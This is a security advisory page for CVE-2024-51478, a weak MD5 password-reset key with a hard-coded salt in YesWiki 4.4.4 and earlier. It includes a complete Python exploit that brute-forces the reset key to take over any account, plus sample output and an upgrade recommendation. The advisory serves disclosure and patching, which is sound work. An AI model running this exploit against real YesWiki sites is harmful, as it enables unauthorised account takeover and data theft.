CVE-2024-51478: Use of a Broken or Risky Cryptographic Algorithm in YesWiki

Published Oct 31, 2024
·
Updated

Summary The use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account.

Details Firstly, the salt used to hash the password reset key is hard-coded in the includes/services/UserManager.php file at line 36 :

php private const PWSALT = 'FBcA';

Next, the application uses a weak cryptographic algorithm to hash the password reset key. The hash algorithm is defined in the includes/services/UserManager.php file at line 201 :

php protected function generateUserLink($user) { // Generate the password recovery key $key = md5($user['name'] . '' . $user['email'] . randomint(0, 10000) . date('Y-m-d H:i:s') . self::PWSALT);

The key is generated from the user's name, e-mail address, a random number between 0 and 10000, the current date of the request and the salt. If we know the user's name and e-mail address, we can retrieve the key and use it to reset the account password with a bit of brute force on the random number.

Proof of Concept (PoC) To demonstrate the vulnerability, I created a python script to automatically retrieve the key and reset the password of a provided username and email.

python #!/usr/bin/env python3 -- coding: utf-8 -- Author: Nishacid YesWiki <= 4.4.4 Account Takeover via Weak Password Reset Crypto

from hashlib import md5 from requests import post, get from base64 import b64encode from sys import exit from datetime import datetime from concurrent.futures import ThreadPoolExecutor, ascompleted from argparse import ArgumentParser

Known data salt = 'FBcA' # Hardcoded salt randomrange = 10000 # Range for randomint() WORKERS = 20 # Number of workers

Arguments def parseArgs(): parser = ArgumentParser() parser.addargument("-u", "--username", dest="username", default=None, help="Username of the account", required=True) parser.addargument("-e", "--email", dest="email", default=None, help="Email of the account", required=True) parser.addargument("-d", "--domain", dest="domain", default=None, help="Domain of the target", required=True) return parser.parseargs()

Reset password request and get timestamp def resetpassword(email: str, domain: str): response = post( f'{domain}?MotDePassePerdu', data={ 'email': email, 'subStep': '1' }, headers={ 'Content-Type': 'application/x-www-form-urlencoded' } ) if response.ok: timestamp = datetime.now() # obtain the timestamp timestamp = timestamp.strftime('%Y-%m-%d %H:%M:%S') print(f"[] Requesting link for {email} at {timestamp}") return timestamp else: print("[-] Error while resetting password.") exit()

Generate and check keys def checkkey(randomintval: int, timestampreq: str, domain: str, username: str, email: str): userbase64 = b64encode(username.encode()).decode() data = f"{username}{email}{randomintval}{timestampreq}{salt}" hashcandidate = md5(data.encode()).hexdigest() url = f"{domain}?MotDePassePerdu&a=recover&email={hashcandidate}&u={userbase64}" # print(f"[] Checking {url}") response = get(url) # Check if the link is valid, warning depending on the language if '<strong>Bienvenu.e' in response.text or '<strong>Welcome' in response.text: return (True, randomintval, hashcandidate, url) return (False, randomintval, None, None)

def main(timestampreq: str, domain: str, username: str, email: str): # Launch the brute-force print(f"[] Starting brute-force, it can take few minutes...") with ThreadPoolExecutor(maxworkers=WORKERS) as executor: futures = [executor.submit(checkkey, i, timestampreq, domain, username, email) for i in range(randomrange + 1)] for future in ascompleted(futures): success, randomintval, hashcandidate, url = future.result() if success: print(f"[+] Key found ! randomint: {randomintval}, hash: {hashcandidate}") print(f"[+] URL: {url}") exit() else: print("[-] Key not found.")

if name == "main": args = parseArgs() timestampreq = resetpassword(args.email, args.domain) main(timestampreq, args.domain, args.username, args.email)

Simply run this script with the arguments -u for the username, -e for the email and -d for the target domain.

bash » python3 expoit.py --username 'admin' --email 'admin@nishacid.local' --domain 'http://localhost/' [] Requesting link for admin@nishacid.local at 2024-10-30 10:46:48 [] Starting brute-force, it can take few minutes... [+] Key found ! randomint: 9264, hash: 22a2751f50ba74b259818394d34020c9 [+] URL: http://localhost/?MotDePassePerdu&a=recover&email=22a2751f50ba74b259818394d34020c9&u=YWRtaW4K

Impact Many impacts are possible, the most obvious being account takeover, which can lead to theft of sensitive data, modification of website content, addition/deletion of administrator accounts, user identity theft, etc.

Recommendation The safest solution is to replace the salt with a random one and the hash algorithm with a more secure one. For example, you can use random bytes instead of a random integer.

Other sources

YesWiki is a wiki system written in PHP. Prior to 4.4.5, the use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account. This issue is fixed in 4.4.5.

MITRE

Affected Software

2 affected componentsFixes available
composer/yeswiki/yeswiki<=4.4.4
4.4.5
YesWiki YesWiki<4.4.5

Event History

Oct 31, 2024
CVE Published
via MITRE·04:15 PM
Data Sourced
via MITRE·04:15 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·05:12 PM
Data Sourced
via NVD·05:15 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

What is the severity of CVE-2024-51478?

CVE-2024-51478 is considered a high-severity vulnerability due to the ease of password reset key recovery.

2

How do I fix CVE-2024-51478?

To fix CVE-2024-51478, upgrade your YesWiki installation to version 4.4.5 or later.

3

What is the main issue associated with CVE-2024-51478?

The main issue with CVE-2024-51478 is the use of a weak cryptographic algorithm and hard-coded salt in hashing the password reset key.

4

Which software versions are affected by CVE-2024-51478?

CVE-2024-51478 affects YesWiki versions up to and including 4.4.4.

5

Can CVE-2024-51478 be exploited remotely?

Yes, CVE-2024-51478 can be exploited remotely by an attacker to reset user passwords.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203